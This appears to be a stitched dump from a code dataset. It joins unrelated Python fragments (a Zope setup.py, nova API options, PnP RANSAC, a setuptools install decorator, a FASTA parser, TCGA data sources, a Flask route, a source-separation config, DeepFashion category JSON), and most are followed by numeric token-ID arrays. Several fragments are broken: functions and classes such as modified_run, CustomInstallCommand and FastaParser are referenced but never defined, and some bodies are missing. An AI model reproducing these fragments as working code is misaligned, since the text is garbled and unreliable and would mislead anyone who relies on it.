zip_safe=False, setup_requires=[ 'eggtestinfo', ], install_requires=[ 'setuptools', 'Zope >= 4.0b4', 'docutils', 'five.localsitemanager', 'Products.BTreeFolder2', 'Products.GenericSetup >= 2.0b1', 'Products.MailHost >= 4.0', 'Products.PythonScripts', 'Products.StandardCacheManagers', 'Products.ZCTextIndex', 'six', ], tests_require=[ 'zope.testing >= 3.7.0', 'Products.StandardCacheManagers', ], extras_require={ 'test': ['Products.StandardCacheManagers'], 'zsql': ['Products.ZSQLMethods >= 3.0.0b1'], }, test_loader='zope.testing.testrunner.eggsupport:SkipLayers', test_suite='Products.%s' % NAME, entry_points=""" [zope2.initialize] Products.%s = Products.%s:initialize [distutils.commands] ftest = zope.testing.testrunner.eggsupport:ftest """ % (NAME, NAME), )
[ 11748, 28686, 198, 6738, 900, 37623, 10141, 1330, 9058, 198, 6738, 900, 37623, 10141, 1330, 1064, 62, 43789, 198, 198, 20608, 796, 705, 24187, 4851, 382, 6, 198, 198, 1456, 796, 28686, 13, 6978, 13, 397, 2777, 776, 7, 418, 13, 6978, ...
2.257806
1,121
# Copyright 2015 OpenStack Foundation # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. from oslo_config import cfg api_opts = [ cfg.ListOpt("extensions_blacklist", default=[], deprecated_for_removal=True, deprecated_group="osapi_v21", help=""" *DEPRECATED* This option is a list of all of the v2.1 API extensions to never load. However, it will be removed in the near future, after which the all the functionality that was previously in extensions will be part of the standard API, and thus always accessible. * Possible values: A list of strings, each being the alias of an extension that you do not wish to load. * Services that use this: ``nova-api`` * Related options: enabled, extensions_whitelist """), cfg.ListOpt("extensions_whitelist", default=[], deprecated_for_removal=True, deprecated_group="osapi_v21", help=""" *DEPRECATED* This is a list of extensions. If it is empty, then *all* extensions except those specified in the extensions_blacklist option will be loaded. If it is not empty, then only those extensions in this list will be loaded, provided that they are also not in the extensions_blacklist option. Once this deprecated option is removed, after which the all the functionality that was previously in extensions will be part of the standard API, and thus always accessible. * Possible values: A list of strings, each being the alias of an extension that you wish to load, or an empty list, which indicates that all extensions are to be run. * Services that use this: ``nova-api`` * Related options: enabled, extensions_blacklist """), cfg.StrOpt("project_id_regex", default=None, deprecated_for_removal=True, deprecated_group="osapi_v21", help=""" *DEPRECATED* This option is a string representing a regular expression (regex) that matches the project_id as contained in URLs. If not set, it will match normal UUIDs created by keystone. * Possible values: A string representing any legal regular expression * Services that use this: ``nova-api`` * Related options: None """), ] api_opts_group = cfg.OptGroup(name="osapi_v21", title="API v2.1 Options")
[ 2, 15069, 1853, 4946, 25896, 5693, 198, 2, 1439, 6923, 33876, 13, 198, 2, 198, 2, 220, 220, 220, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 345, 743, 198, 2, 220, 220, 220, 407, 779, 428, ...
3.047974
938
"""Summary """ import numpy as np import LinearPnP as LPnP import random from tqdm import tqdm def proj3Dto2D(x3D, K, C, R): """Summary Args: x3D (TYPE): Description K (TYPE): Description C (TYPE): Description R (TYPE): Description Returns: TYPE: Description """ C = C.reshape(-1, 1) x3D = x3D.reshape(-1, 1) # print("K", K.shape, R.shape, C.shape, x3D.shape) P = np.dot(np.dot(K, R), np.hstack((np.identity(3), -C))) X3D = np.vstack((x3D, 1)) # print("P",P.shape, X3D.shape) u_rprj = (np.dot(P[0, :], X3D)).T / (np.dot(P[2, :], X3D)).T v_rprj = (np.dot(P[1, :], X3D)).T / (np.dot(P[2, :], X3D)).T X2D = np.hstack((u_rprj, v_rprj)) return X2D def PnPRANSAC(X, x, K): """Summary Args: X (TYPE): Description x (TYPE): Description K (TYPE): Description Returns: TYPE: Description """ cnt = 0 M = x.shape[0] threshold = 5 #6 x_ = LPnP.convertHomogeneouos(x) Cnew = np.zeros((3, 1)) Rnew = np.identity(3) for trails in tqdm(range(500)): # random.randrange(0, len(corr_list)) random_idx = random.sample(range(M), 6) C, R = LPnP.LinearPnP(X[random_idx][:], x[random_idx][:], K) S = [] for j in range(M): reprojection = proj3Dto2D(x_[j][:], K, C, R) e = np.sqrt( np.square((x_[j, 0]) - reprojection[0]) + np.square((x_[j, 1] - reprojection[1]))) if e < threshold: S.append(j) countS = len(S) if (cnt < countS): cnt = countS Rnew = R Cnew = C if (countS == M): break # print("Inliers = " + str(cnt) + "/" + str(M)) return Cnew, Rnew
[ 37811, 22093, 198, 37811, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 44800, 47, 77, 47, 355, 18470, 77, 47, 198, 11748, 4738, 198, 6738, 256, 80, 36020, 1330, 256, 80, 36020, 628, 198, 4299, 386, 73, 18, 35, 1462, 17, 35, 7, ...
1.814815
999
#!/usr/bin/env python from setuptools import setup from setuptools.command.develop import develop from setuptools.command.install import install def friendly(command_subclass): """ A decorator for classes subclassing one of the setuptools commands. It modifies the run() method so that it prints a friendly greeting. """ orig_run = command_subclass.run command_subclass.run = modified_run return command_subclass @friendly setup(name='myPackage', version='0.1', description='My first python package', author='Marcelo Santos', author_email='email@domain.com', url='https://github.com/mefsantos/branch-testing', packages=['.', 'modules'], # Extension('foo', ['src/foo1.c', 'src/foo2.c']), cmdclass={ 'install': CustomInstallCommand, }, )
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 6738, 900, 37623, 10141, 1330, 9058, 198, 6738, 900, 37623, 10141, 13, 21812, 13, 16244, 1330, 1205, 198, 6738, 900, 37623, 10141, 13, 21812, 13, 17350, 1330, 2721, 628, 198, 4299, ...
2.79322
295
import sys import os sys.path.append(os.path.join(os.path.dirname(__file__), os.pardir, 'staticsql'))
[ 11748, 25064, 198, 11748, 28686, 198, 198, 17597, 13, 6978, 13, 33295, 7, 418, 13, 6978, 13, 22179, 7, 418, 13, 6978, 13, 15908, 3672, 7, 834, 7753, 834, 828, 28686, 13, 26037, 343, 11, 705, 14269, 873, 13976, 6, 4008 ]
2.487805
41
if __name__ == '__main__': import sys import os.path if len(sys.argv) != 2: sys.exit("usage fasta_object fasta_path") fasta_path = sys.argv[1] if not os.path.exists(fasta_path): sys.exit("No such file: {}".format(fasta_path)) fasta_parser = FastaParser(fasta_path) for sequence in fasta_parser: print "----------------" print "{seqid} = {gc:.3%}".format(gc=sequence.gc_percent(), seqid = sequence.id)
[ 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1330, 25064, 198, 220, 220, 220, 1330, 28686, 13, 6978, 628, 220, 220, 220, 611, 18896, 7, 17597, 13, 853, 85, 8, 14512, 362, 25, 198, 220, 22...
2.065306
245
""" Escreva um programa que pergunte o salário de um funcionário e calcule o valor do seu aumento. Para salários superiores a R$1.250,00, calcule um aumento de 10%. Para os inferiores ou iguais, o aumento é de 15%.""" salario = float(input('Qual valor do seu salario R$ ')) if salario <= 1249.99: aumento = (salario * 10)/ 100 print('Seu aumento foi de 10% e seu salario atual é de R$ {:.2f}'.format(aumento+salario)) else: aumento = (salario * 15) /100 print('Seu aumento foi de 15% e seu salario atual é de R$ {:.2f}'.format(aumento+salario))
[ 37811, 16319, 260, 6862, 23781, 1430, 64, 8358, 583, 70, 6311, 267, 3664, 6557, 27250, 390, 23781, 25439, 295, 6557, 27250, 304, 2386, 23172, 267, 1188, 273, 466, 384, 84, 257, 1713, 78, 13, 198, 47, 3301, 3664, 6557, 380, 418, 2208, ...
2.396624
237
from .base_identity import BaseIdentity from ...driver.support.driver_support import DriverSupport class OneDriveVercelIndex(BaseIdentity): """OneDriveVercelIndex object to identify said OD""" @staticmethod @staticmethod def _footer(driver) -> bool: """Check for the 'powered by onedrive-vercel-index' tagline :param WebDriver driver: Selenium WebDriver :return: """ return OneDriveVercelIndex._attr_check(driver, "main + div a[href]", "href", "spencerwooo/onedrive-vercel-index") @staticmethod def _meta_tag(driver) -> bool: """Search meta tag for id :param WebDriver driver: Selenium WebDriver :return: """ element = DriverSupport.get_element(driver, 'meta[content="OneDrive Vercel Index"]', "") return bool(element) @staticmethod def _flag_crumb(driver) -> bool: """Finds id of the through its iconic flag :param WebDriver driver: Selenium WebDriver :return: """ element = DriverSupport.get_element(driver, r"div.dark\:text-gray-300 div a", "") return OneDriveVercelIndex._text_check(element, "🚩 Home")
[ 6738, 764, 8692, 62, 738, 414, 1330, 7308, 7390, 26858, 198, 6738, 2644, 26230, 13, 11284, 13, 26230, 62, 11284, 1330, 12434, 15514, 628, 198, 4871, 1881, 24825, 13414, 5276, 15732, 7, 14881, 7390, 26858, 2599, 198, 220, 220, 220, 37227...
2.45509
501
import copy import re import json import logging import requests import datetime import shutil import os import tarfile import uuid import pandas as pd from django.conf import settings from api.utilities.basic_utils import get_with_retry, \ make_local_directory from .gdc import GDCDataSource, GDCRnaSeqDataSourceMixin logger = logging.getLogger(__name__) class TCGADataSource(GDCDataSource): ''' A general class for pulling data from TCGA, exposed via the GDC API ''' # All the TCGA-based data will be stored in this directory ROOT_DIR = os.path.join(settings.PUBLIC_DATA_DIR, 'tcga') def get_additional_metadata(self): ''' For the TCGA datasets, we would like an additional mapping from the shorthand ID (e.g. TCGA-LUAD) to the "full" name (e.g. lung adenocarcinoma) ''' mapping = self.query_for_project_names_within_program('TCGA') return {'tcga_type_to_name_map': mapping} class TCGARnaSeqDataSource(TCGADataSource, GDCRnaSeqDataSourceMixin): ''' A specific implementation of the TCGA data source specific to RNA-seq. ''' # A short name (string) which can be used as a "title" for the dataset PUBLIC_NAME = 'TCGA RNA-Seq' # A longer, more descriptive text explaining the datasource: DESCRIPTION = ('TCGA RNA-Seq expression data as processed by the' ' Genomic Data Commons' ' <a href="https://docs.gdc.cancer.gov/Data/Bioinformatics_Pipelines/Expression_mRNA_Pipeline/">' ' mRNA analysis pipeline</a>. Quantifications from this pipeline' ' are produced by HTSeq.' ) # a string which will make it obvious where the data has come from. For example, we can use # this tag to name an output file produced by this class (e.g. the count matrix). # We also use this tag TAG = 'tcga-rnaseq' # An example of how one might query this dataset, so we can provide useful # help for dataset creation errors: EXAMPLE_PAYLOAD = { 'TCGA-UVM': ["<UUID>","<UUID>"], 'TCGA-MESO': ["<UUID>","<UUID>", "<UUID>"] } def prepare(self): ''' Entry method for downloading and munging the TCGA RNA-seq dataset to a HDF5 file ''' self._pull_data('TCGA', self.TAG) def get_additional_metadata(self): ''' This just uses the parent method which maps the TCGA IDs to the name (e.g. TCGA-LUAD --> Lung adenocarcinoma) ''' # uses the get_additional_metadata method of TCGADataSource # per python's MRO return super().get_additional_metadata()
[ 11748, 4866, 198, 11748, 302, 198, 11748, 33918, 198, 11748, 18931, 198, 11748, 7007, 198, 11748, 4818, 8079, 198, 11748, 4423, 346, 198, 11748, 28686, 198, 11748, 13422, 7753, 198, 11748, 334, 27112, 198, 220, 198, 11748, 19798, 292, 355...
2.607356
1,006
# -*- coding: utf-8 -*- """ Test the ssh_auth states """ # Import python libs from __future__ import absolute_import, print_function, unicode_literals import os # Import salt libs import salt.utils.files # Import Salt Testing libs from tests.support.case import ModuleCase from tests.support.helpers import destructiveTest, skip_if_not_root, with_system_user from tests.support.mixins import SaltReturnAssertsMixin from tests.support.runtests import RUNTIME_VARS from tests.support.unit import skipIf
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 37811, 198, 14402, 262, 26678, 62, 18439, 2585, 198, 37811, 198, 198, 2, 17267, 21015, 9195, 82, 198, 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 11, 3601, 62, 8818,...
3.30719
153
""" service_user.py """ from flask import Flask, jsonify app = Flask(__name__) @app.route("/user", methods=['GET']) if __name__ == "__main__": app.run(port=3002, debug=True)
[ 37811, 2139, 62, 7220, 13, 9078, 37227, 198, 198, 6738, 42903, 1330, 46947, 11, 33918, 1958, 628, 198, 1324, 796, 46947, 7, 834, 3672, 834, 8, 628, 198, 31, 1324, 13, 38629, 7203, 14, 7220, 1600, 5050, 28, 17816, 18851, 6, 12962, 62...
2.569444
72
# -*- coding: utf-8 -*- # Copyright 2020 Green Valley Belgium NV # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # @@license_version:1.7@@ from google.appengine.ext import db from mcfw.rpc import arguments, returns from rogerthat.bizz.profile import set_service_disabled as rogerthat_set_service_disabled, \ set_service_enabled as rogerthat_re_enable_service from rogerthat.rpc import users from rogerthat.rpc.service import BusinessException from rogerthat.utils import now from shop.models import Customer from solutions.common.dal import get_solution_settings @returns() @arguments(customer_or_id=(int, long, Customer), disabled_reason_int=(int, long)) def set_service_disabled(customer_or_id, disabled_reason_int): """ Disables the customer his service, disconnects all users and sets the service invisible. Args: customer_or_id (int, long, Customer): customer or id disabled_reason_int (int, long): reason why the service has been disabled Raises: NoSubscriptionException BusinessException """ if isinstance(customer_or_id, Customer): customer = customer_or_id else: customer = Customer.get_by_id(customer_or_id) if not customer.service_email: raise BusinessException('Customer %d has no service email' % customer.id) if disabled_reason_int not in Customer.DISABLED_REASONS: raise BusinessException('Invalid disable service reason') service_user = users.User(customer.service_email) sln_settings = get_solution_settings(service_user) customer.service_disabled_at = now() customer.disabled_reason_int = disabled_reason_int sln_settings.search_enabled = False sln_settings.service_disabled = True db.put([customer, sln_settings]) rogerthat_set_service_disabled(service_user) @returns() @arguments(customer_id=int)
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 2, 15069, 12131, 3469, 6916, 15664, 23973, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, ...
3.110526
760
# Ke Chen # knutchen@ucsd.edu # Zero-shot Audio Source Separation via Query-based Learning from Weakly-labeled Data # The configuration file # for model training exp_name = "exp_zs_asp_full" # the saved ckpt prefix name of the model workspace = "/home/Research/ZS_ASP/" # the folder of your code dataset_path = "/home/Research/ZS_ASP/data/audioset" # the dataset path index_type = "full_train" idc_path = "/home/Research/ZS_ASP/" # the folder of audioset class count files balanced_data = True # trained from a checkpoint, or evaluate a single model resume_checkpoint = None # "/home/Research/ZS_ASP/model_backup/zeroshot_asp_full.ckpt" loss_type = "mae" gather_mode = False debug = False classes_num = 527 eval_list = [] # left blank to preserve all classes, otherwise will filter the specified classes # [15, 63, 81, 184, 335, 449, 474, 348, 486, 4] # randomly generated from the 527-classes for held-out evaludation batch_size = 16 * 8 # batch size per GPU x GPU number , default is 16 x 8 = 128 learning_rate = 1e-3 # 3e-4 is also workable max_epoch = 100 num_workers = 3 lr_scheduler_epoch = [90, 110] latent_dim = 2048 # for signal processing sample_rate = 32000 clip_samples = sample_rate * 10 # audio_set 10-sec clip segment_frames = 200 hop_samples = 320 random_seed = 12412 # 444612 1536123 12412 random_mode = "one_class" # "no_random, one_class, random, order", one class is the best # for evaluation musdb_path = "/home/Research/ZS_ASP/data/musdb-wav/" # musdb download folder testavg_path = "/home/Research/ZS_ASP/data/musdb30-train-32000fs.npy" # the processed training set (to get the latent query) testset_path = "/home/Research/ZS_ASP/data/musdb-test-32000fs.npy" # the processed testing set (to calculate the performance) test_key = ["vocals", "drums", "bass", "other"] # four tracks for musdb, and your named track for other inference test_type = "mix" infer_type = "mean" energy_thres = 0.1 wave_output_path = "/home/Research/ZS_ASP/wavoutput" # output folder using_wiener = True # use wiener filter or not (default: True) using_whiting = False # use whiting or not (default: False) # weight average wa_model_folder = "/home/Research/ZS_ASP/version_3/checkpoints/" wa_model_path = "zs_wa.ckpt" # for inference inference_file = "/home/Research/ZS_ASP/data/pagenini.wav" # an audio file to separate inference_query = "/home/Research/ZS_ASP/data/query" # a folder containing all samples for obtaining the query overlap_rate = 0.5 # [0.0, 1.0), 0 to disabled, recommand 0.5 for 50% overlap. Overlap will increase computation time and improve result quality
[ 2, 3873, 12555, 198, 2, 638, 315, 6607, 31, 1229, 21282, 13, 15532, 198, 2, 12169, 12, 9442, 13491, 8090, 8621, 10186, 2884, 43301, 12, 3106, 18252, 422, 28788, 306, 12, 18242, 276, 6060, 198, 2, 383, 8398, 2393, 198, 198, 2, 329, ...
2.955479
876
import json from PIL import Image import numpy as np import shutil import os import random dataset = { "info": {}, "licenses": [], "images": [], "annotations": [], "annotations2": [], "categories": [], "categories2": [] } dataset['categories'].append({ 'id': 1, 'name': "short_sleeved_shirt", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', '266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) dataset['categories'].append({ 'id': 2, 'name': "long_sleeved_shirt", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', '266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) dataset['categories'].append({ 'id': 3, 'name': "short_sleeved_outwear", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', '266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) dataset['categories'].append({ 'id': 4, 'name': "long_sleeved_outwear", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', '266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) dataset['categories'].append({ 'id': 5, 'name': "vest", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', '266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) dataset['categories'].append({ 'id': 6, 'name': "sling", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', '266', '267', '268', '269', '270', '271', '272', '273', '274', '275', '276', '277', '278', '279', '280', '281', '282', '283', '284', '285', '286', '287', '288', '289', '290', '291', '292', '293', '294'], 'skeleton': [] }) dataset['categories'].append({ 'id': 7, 'name': "shorts", 'supercategory': "clothes", 'keypoints': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20', '21', '22', '23', '24', '25', '26', '27', '28', '29', '30', '31', '32', '33', '34', '35', '36', '37', '38', '39', '40', '41', '42', '43', '44', '45', '46', '47', '48', '49', '50', '51', '52', '53', '54', '55', '56', '57', '58', '59', '60', '61', '62', '63', '64', '65', '66', '67', '68', '69', '70', '71', '72', '73', '74', '75', '76', '77', '78', '79', '80', '81', '82', '83', '84', '85', '86', '87', '88', '89', '90', '91', '92', '93', '94', '95', '96', '97', '98', '99', '100', '101', '102', '103', '104', '105', '106', '107', '108', '109', '110', '111', '112', '113', '114', '115', '116', '117', '118', '119', '120', '121', '122', '123', '124', '125', '126', '127', '128', '129', '130', '131', '132', '133', '134', '135', '136', '137', '138', '139', '140', '141', '142', '143', '144', '145', '146', '147', '148', '149', '150', '151', '152', '153', '154', '155', '156', '157', '158', '159', '160', '161', '162', '163', '164', '165', '166', '167', '168', '169', '170', '171', '172', '173', '174', '175', '176', '177', '178', '179', '180', '181', '182', '183', '184', '185', '186', '187', '188', '189', '190', '191', '192', '193', '194', '195', '196', '197', '198', '199', '200', '201', '202', '203', '204', '205', '206', '207', '208', '209', '210', '211', '212', '213', '214', '215', '216', '217', '218', '219', '220', '221', '222', '223', '224', '225', '226', '227', '228', '229', '230', '231', '232', '233', '234', '235', '236', '237', '238', '239', '240', '241', '242', '243', '244', '245', '246', '247', '248', '249', '250', '251', '252', '253', '254', '255', '256', '257', '258', '259', '260', '261', '262', '263', '264', '265', 